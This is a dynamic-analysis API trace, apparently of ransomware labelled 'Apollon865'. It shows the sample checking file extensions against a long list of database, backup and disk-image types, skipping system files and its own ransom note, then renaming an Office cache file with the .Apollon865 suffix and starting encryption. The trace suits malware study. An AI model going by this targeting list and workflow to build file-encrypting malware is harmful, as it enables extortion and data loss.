	[0077.605] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0077.605] lstrlenW (lpString="sql") returned 3
	[0077.605] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0077.605] lstrlenW (lpString="sqlite") returned 6
	[0077.605] lstrcmpiW (lpString1="WW.msi", lpString2="sqlite") returned 1
	[0077.605] lstrlenW (lpString="sqlite3") returned 7
	[0077.605] lstrcmpiW (lpString1="2WW.msi", lpString2="sqlite3") returned -1
	[0077.605] lstrlenW (lpString="sqlitedb") returned 8
	[0077.605] lstrcmpiW (lpString1="32WW.msi", lpString2="sqlitedb") returned -1
	[0077.605] lstrlenW (lpString="xml") returned 3
	[0077.605] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0077.605] lstrlenW (lpString="$er") returned 3
	[0077.605] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0077.605] lstrlenW (lpString="4dd") returned 3
	[0077.605] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0077.605] lstrlenW (lpString="4dl") returned 3
	[0077.605] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0077.605] lstrlenW (lpString="^^^") returned 3
	[0077.605] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0077.605] lstrlenW (lpString="abs") returned 3
	[0077.605] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0077.605] lstrlenW (lpString="abx") returned 3
	[0077.605] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0077.605] lstrlenW (lpString="accdb") returned 5
	[0077.605] lstrcmpiW (lpString1="W.msi", lpString2="accdb") returned 1
	[0077.605] lstrlenW (lpString="accdc") returned 5
	[0077.605] lstrcmpiW (lpString1="W.msi", lpString2="accdc") returned 1
	[0077.605] lstrlenW (lpString="accde") returned 5
	[0077.605] lstrcmpiW (lpString1="W.msi", lpString2="accde") returned 1
	[0077.605] lstrlenW (lpString="accdr") returned 5
	[0077.605] lstrcmpiW (lpString1="W.msi", lpString2="accdr") returned 1
	[0077.605] lstrlenW (lpString="accdt") returned 5
	[0077.605] lstrcmpiW (lpString1="W.msi", lpString2="accdt") returned 1
	[0077.606] lstrlenW (lpString="accdw") returned 5
	[0077.606] lstrcmpiW (lpString1="W.msi", lpString2="accdw") returned 1
	[0077.606] lstrlenW (lpString="accft") returned 5
	[0077.606] lstrcmpiW (lpString1="W.msi", lpString2="accft") returned 1
	[0077.606] lstrlenW (lpString="adb") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0077.606] lstrlenW (lpString="adb") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0077.606] lstrlenW (lpString="ade") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0077.606] lstrlenW (lpString="adf") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0077.606] lstrlenW (lpString="adn") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0077.606] lstrlenW (lpString="adp") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0077.606] lstrlenW (lpString="alf") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0077.606] lstrlenW (lpString="ask") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0077.606] lstrlenW (lpString="btr") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0077.606] lstrlenW (lpString="cat") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0077.606] lstrlenW (lpString="cdb") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0077.606] lstrlenW (lpString="ckp") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0077.606] lstrlenW (lpString="cma") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0077.606] lstrlenW (lpString="cpd") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0077.606] lstrlenW (lpString="dacpac") returned 6
	[0077.606] lstrcmpiW (lpString1="WW.msi", lpString2="dacpac") returned 1
	[0077.606] lstrlenW (lpString="dad") returned 3
	[0077.606] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0077.606] lstrlenW (lpString="dadiagrams") returned 10
	[0077.606] lstrcmpiW (lpString1="ce32WW.msi", lpString2="dadiagrams") returned -1
	[0077.606] lstrlenW (lpString="daschema") returned 8
	[0077.606] lstrcmpiW (lpString1="32WW.msi", lpString2="daschema") returned -1
	[0077.606] lstrlenW (lpString="db-journal") returned 10
	[0077.607] lstrcmpiW (lpString1="ce32WW.msi", lpString2="db-journal") returned -1
	[0077.607] lstrlenW (lpString="db-shm") returned 6
	[0077.607] lstrcmpiW (lpString1="WW.msi", lpString2="db-shm") returned 1
	[0077.607] lstrlenW (lpString="db-wal") returned 6
	[0077.607] lstrcmpiW (lpString1="WW.msi", lpString2="db-wal") returned 1
	[0077.607] lstrlenW (lpString="dbc") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0077.607] lstrlenW (lpString="dbs") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0077.607] lstrlenW (lpString="dbt") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0077.607] lstrlenW (lpString="dbv") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0077.607] lstrlenW (lpString="dbx") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0077.607] lstrlenW (lpString="dcb") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0077.607] lstrlenW (lpString="dct") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0077.607] lstrlenW (lpString="dcx") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0077.607] lstrlenW (lpString="ddl") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0077.607] lstrlenW (lpString="dlis") returned 4
	[0077.607] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0077.607] lstrlenW (lpString="dp1") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0077.607] lstrlenW (lpString="dqy") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0077.607] lstrlenW (lpString="dsk") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0077.607] lstrlenW (lpString="dsn") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0077.607] lstrlenW (lpString="dtsx") returned 4
	[0077.607] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0077.607] lstrlenW (lpString="dxl") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0077.607] lstrlenW (lpString="eco") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0077.607] lstrlenW (lpString="ecx") returned 3
	[0077.607] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0077.607] lstrlenW (lpString="edb") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0077.608] lstrlenW (lpString="epim") returned 4
	[0077.608] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0077.608] lstrlenW (lpString="fcd") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0077.608] lstrlenW (lpString="fdb") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0077.608] lstrlenW (lpString="fic") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0077.608] lstrlenW (lpString="flexolibrary") returned 12
	[0077.608] lstrcmpiW (lpString1="fice32WW.msi", lpString2="flexolibrary") returned -1
	[0077.608] lstrlenW (lpString="fm5") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0077.608] lstrlenW (lpString="fmp") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0077.608] lstrlenW (lpString="fmp12") returned 5
	[0077.608] lstrcmpiW (lpString1="W.msi", lpString2="fmp12") returned 1
	[0077.608] lstrlenW (lpString="fmpsl") returned 5
	[0077.608] lstrcmpiW (lpString1="W.msi", lpString2="fmpsl") returned 1
	[0077.608] lstrlenW (lpString="fol") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0077.608] lstrlenW (lpString="fp3") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0077.608] lstrlenW (lpString="fp4") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0077.608] lstrlenW (lpString="fp5") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0077.608] lstrlenW (lpString="fp7") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0077.608] lstrlenW (lpString="fpt") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0077.608] lstrlenW (lpString="frm") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0077.608] lstrlenW (lpString="gdb") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0077.608] lstrlenW (lpString="gdb") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0077.608] lstrlenW (lpString="grdb") returned 4
	[0077.608] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0077.608] lstrlenW (lpString="gwi") returned 3
	[0077.608] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0077.609] lstrlenW (lpString="hdb") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0077.609] lstrlenW (lpString="his") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0077.609] lstrlenW (lpString="ib") returned 2
	[0077.609] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0077.609] lstrlenW (lpString="idb") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0077.609] lstrlenW (lpString="ihx") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0077.609] lstrlenW (lpString="itdb") returned 4
	[0077.609] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0077.609] lstrlenW (lpString="itw") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0077.609] lstrlenW (lpString="jet") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0077.609] lstrlenW (lpString="jtx") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0077.609] lstrlenW (lpString="kdb") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0077.609] lstrlenW (lpString="kexi") returned 4
	[0077.609] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0077.609] lstrlenW (lpString="kexic") returned 5
	[0077.609] lstrcmpiW (lpString1="W.msi", lpString2="kexic") returned 1
	[0077.609] lstrlenW (lpString="kexis") returned 5
	[0077.609] lstrcmpiW (lpString1="W.msi", lpString2="kexis") returned 1
	[0077.609] lstrlenW (lpString="lgc") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0077.609] lstrlenW (lpString="lwx") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0077.609] lstrlenW (lpString="maf") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0077.609] lstrlenW (lpString="maq") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0077.609] lstrlenW (lpString="mar") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0077.609] lstrlenW (lpString="marshal") returned 7
	[0077.609] lstrcmpiW (lpString1="2WW.msi", lpString2="marshal") returned -1
	[0077.609] lstrlenW (lpString="mas") returned 3
	[0077.609] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0077.609] lstrlenW (lpString="mav") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0077.610] lstrlenW (lpString="maw") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0077.610] lstrlenW (lpString="mdbhtml") returned 7
	[0077.610] lstrcmpiW (lpString1="2WW.msi", lpString2="mdbhtml") returned -1
	[0077.610] lstrlenW (lpString="mdn") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0077.610] lstrlenW (lpString="mdt") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0077.610] lstrlenW (lpString="mfd") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0077.610] lstrlenW (lpString="mpd") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0077.610] lstrlenW (lpString="mrg") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0077.610] lstrlenW (lpString="mud") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0077.610] lstrlenW (lpString="mwb") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0077.610] lstrlenW (lpString="myd") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0077.610] lstrlenW (lpString="ndf") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0077.610] lstrlenW (lpString="nnt") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0077.610] lstrlenW (lpString="nrmlib") returned 6
	[0077.610] lstrcmpiW (lpString1="WW.msi", lpString2="nrmlib") returned 1
	[0077.610] lstrlenW (lpString="ns2") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0077.610] lstrlenW (lpString="ns3") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0077.610] lstrlenW (lpString="ns4") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0077.610] lstrlenW (lpString="nsf") returned 3
	[0077.610] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0077.610] lstrlenW (lpString="nv") returned 2
	[0077.610] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0077.610] lstrlenW (lpString="nv2") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0077.611] lstrlenW (lpString="nwdb") returned 4
	[0077.611] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0077.611] lstrlenW (lpString="nyf") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0077.611] lstrlenW (lpString="odb") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0077.611] lstrlenW (lpString="odb") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0077.611] lstrlenW (lpString="oqy") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0077.611] lstrlenW (lpString="ora") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0077.611] lstrlenW (lpString="orx") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0077.611] lstrlenW (lpString="owc") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0077.611] lstrlenW (lpString="p96") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0077.611] lstrlenW (lpString="p97") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0077.611] lstrlenW (lpString="pan") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0077.611] lstrlenW (lpString="pdb") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0077.611] lstrlenW (lpString="pdm") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0077.611] lstrlenW (lpString="pnz") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0077.611] lstrlenW (lpString="qry") returned 3
	[0077.611] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0077.612] lstrlenW (lpString="qvd") returned 3
	[0077.612] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0077.612] lstrlenW (lpString="rbf") returned 3
	[0077.612] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0077.612] lstrlenW (lpString="rctd") returned 4
	[0077.612] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0077.612] lstrlenW (lpString="rod") returned 3
	[0077.612] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0077.612] lstrlenW (lpString="rodx") returned 4
	[0077.612] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0077.612] lstrlenW (lpString="rpd") returned 3
	[0077.612] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0077.612] lstrlenW (lpString="rsd") returned 3
	[0077.612] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0077.612] lstrlenW (lpString="sas7bdat") returned 8
	[0077.612] lstrcmpiW (lpString1="32WW.msi", lpString2="sas7bdat") returned -1
	[0077.612] lstrlenW (lpString="sbf") returned 3
	[0077.613] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0077.613] lstrlenW (lpString="scx") returned 3
	[0077.613] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0077.613] lstrlenW (lpString="sdb") returned 3
	[0077.613] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0077.613] lstrlenW (lpString="sdc") returned 3
	[0077.613] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0077.613] lstrlenW (lpString="sdf") returned 3
	[0077.613] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0077.613] lstrlenW (lpString="sis") returned 3
	[0077.613] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0077.613] lstrlenW (lpString="spq") returned 3
	[0077.613] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0077.613] lstrlenW (lpString="te") returned 2
	[0077.614] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0077.614] lstrlenW (lpString="teacher") returned 7
	[0077.614] lstrcmpiW (lpString1="2WW.msi", lpString2="teacher") returned -1
	[0077.614] lstrlenW (lpString="tmd") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0077.614] lstrlenW (lpString="tps") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0077.614] lstrlenW (lpString="trc") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0077.614] lstrlenW (lpString="trc") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0077.614] lstrlenW (lpString="trm") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0077.614] lstrlenW (lpString="udb") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0077.614] lstrlenW (lpString="udl") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0077.614] lstrlenW (lpString="usr") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0077.614] lstrlenW (lpString="v12") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0077.614] lstrlenW (lpString="vis") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0077.614] lstrlenW (lpString="vpd") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0077.614] lstrlenW (lpString="vvv") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0077.614] lstrlenW (lpString="wdb") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0077.614] lstrlenW (lpString="wmdb") returned 4
	[0077.614] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0077.614] lstrlenW (lpString="wrk") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0077.614] lstrlenW (lpString="xdb") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0077.614] lstrlenW (lpString="xld") returned 3
	[0077.614] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0077.614] lstrlenW (lpString="xmlff") returned 5
	[0077.614] lstrcmpiW (lpString1="W.msi", lpString2="xmlff") returned -1
	[0077.614] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Apollon865.txt.exe") returned 1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".") returned 1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2="..") returned 1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2="windows") returned -1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2="bootmgr") returned 1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2="temp") returned -1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2="pagefile.sys") returned -1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2="boot") returned 1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ids.txt") returned 1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ntuser.dat") returned 1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2="perflogs") returned -1
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2="MSBuild") returned 1
	[0077.615] lstrlenW (lpString="Office32WW.xml") returned 14
	[0077.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0077.615] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Office32WW.xml" | out: lpString1="Office32WW.xml") returned="Office32WW.xml"
	[0077.615] lstrlenW (lpString="Office32WW.xml") returned 14
	[0077.615] lstrlenW (lpString="Apollon865") returned 10
	[0077.615] lstrcmpiW (lpString1="ce32WW.xml", lpString2="Apollon865") returned 1
	[0077.615] lstrlenW (lpString=".dll") returned 4
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".dll") returned 1
	[0077.615] lstrlenW (lpString=".lnk") returned 4
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".lnk") returned 1
	[0077.615] lstrlenW (lpString=".ini") returned 4
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".ini") returned 1
	[0077.615] lstrlenW (lpString=".sys") returned 4
	[0077.615] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".sys") returned 1
	[0077.615] lstrlenW (lpString="Office32WW.xml") returned 14
	[0077.615] lstrlenW (lpString="bak") returned 3
	[0077.615] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0077.615] lstrlenW (lpString="ba_") returned 3
	[0077.615] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0077.615] lstrlenW (lpString="dbb") returned 3
	[0077.615] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0077.615] lstrlenW (lpString="vmdk") returned 4
	[0077.615] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0077.615] lstrlenW (lpString="rar") returned 3
	[0077.615] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0077.615] lstrlenW (lpString="zip") returned 3
	[0077.616] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0077.616] lstrlenW (lpString="tgz") returned 3
	[0077.616] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0077.616] lstrlenW (lpString="vbox") returned 4
	[0077.616] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0077.616] lstrlenW (lpString="vdi") returned 3
	[0077.616] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0077.616] lstrlenW (lpString="vhd") returned 3
	[0077.616] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0077.616] lstrlenW (lpString="vhdx") returned 4
	[0077.616] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0077.616] lstrlenW (lpString="avhd") returned 4
	[0077.616] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0077.616] lstrlenW (lpString="db") returned 2
	[0077.616] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0077.616] lstrlenW (lpString="db2") returned 3
	[0077.616] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0077.616] lstrlenW (lpString="db3") returned 3
	[0077.616] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0077.616] lstrlenW (lpString="dbf") returned 3
	[0077.616] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0077.616] lstrlenW (lpString="mdf") returned 3
	[0077.616] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0077.616] lstrlenW (lpString="mdb") returned 3
	[0077.616] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0077.616] lstrlenW (lpString="sql") returned 3
	[0077.616] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0077.616] lstrlenW (lpString="sqlite") returned 6
	[0077.616] lstrcmpiW (lpString1="WW.xml", lpString2="sqlite") returned 1
	[0077.616] lstrlenW (lpString="sqlite3") returned 7
	[0077.616] lstrcmpiW (lpString1="2WW.xml", lpString2="sqlite3") returned -1
	[0077.616] lstrlenW (lpString="sqlitedb") returned 8
	[0077.616] lstrcmpiW (lpString1="32WW.xml", lpString2="sqlitedb") returned -1
	[0077.616] lstrlenW (lpString="xml") returned 3
	[0077.616] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0077.616] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Apollon865") returned 88
	[0077.616] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.617] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0077.617] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4274) returned 1
	[0077.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.618] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.618] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfd60
	[0077.618] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfde8) returned 1
